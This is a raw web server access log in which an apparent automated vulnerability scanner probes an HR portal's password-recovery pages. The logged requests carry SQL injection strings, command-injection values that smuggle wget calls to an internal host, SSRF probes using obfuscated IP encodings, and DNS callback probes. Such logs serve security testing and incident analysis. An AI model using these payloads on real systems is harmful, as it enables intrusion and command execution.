[05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--%20&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--%20&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd\\'%20having%201=1--%20&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%255C%2522wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D160%2523&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%255C%2522wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D160%2523&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0xC0A80064%3A8371%2FAppScanMsg.html%3FvarId%3D161&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:34 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0xC0A80064%3A8371%2FAppScanMsg.html%3FvarId%3D161&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3C&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%3C&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:35 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D162%2523&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%27wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D162%2523&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F000300.000000250.000000.0000144%3A8371%2FAppScanMsg.html%3FvarId%3D163&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F000300.000000250.000000.0000144%3A8371%2FAppScanMsg.html%3FvarId%3D163&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27Aablcprobepa00000Cab%27%22A&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27Aablcprobepa00000Cab%27%22A&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%22%27%2F%40%3D*%5B%5D%28%29&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%22%27%2F%40%3D*%5B%5D%28%29&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%28&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%28&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:36 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--+&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%29+having+1%3D1--+&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=v3-ping-164-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=v3-ping-164-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253E%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D165%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253E%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D165%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0000030052000144%3A8371%2FAppScanMsg.html%3FvarId%3D166&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:37 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0000030052000144%3A8371%2FAppScanMsg.html%3FvarId%3D166&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%22%27%2F%40%3D*%5B%5D%28%29&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2C&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2C&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:38 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2Fv3-ping-167-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2Fv3-ping-167-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0xC0.168.00000000.0x00064%3A8371%2FAppScanMsg.html%3FvarId%3D169&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F0xC0.168.00000000.0x00064%3A8371%2FAppScanMsg.html%3FvarId%3D169&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27Aablcprobepa00000Cab%27%22A&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22%27Aablcprobepa00000Cab%27%22A&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253C%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D168%29&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%253C%28wget%2520http%253A%252F%252F192.168.0.100%253A8371%252FAppScanMsg.html%253FvarId%253D168%29&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2B&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:39 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%2B&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2Ffindpasswd%40v3-ping-170-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2Ffindpasswd%40v3-ping-170-5d9aa812-ca1e-43c3-ac9e-47f4eb6f0b03.adns.appsechcl.com&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--%20&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--%20&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%a5'%20having%201=1--%20&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F7527202916%3A8371%2FAppScanMsg.html%3FvarId%3D171&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:40 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=http%3A%2F%2F7527202916%3A8371%2FAppScanMsg.html%3FvarId%3D171&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:41 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd%22&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%27&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=%27&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&lang=ZHS&action=findpasswd HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:51:42 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) 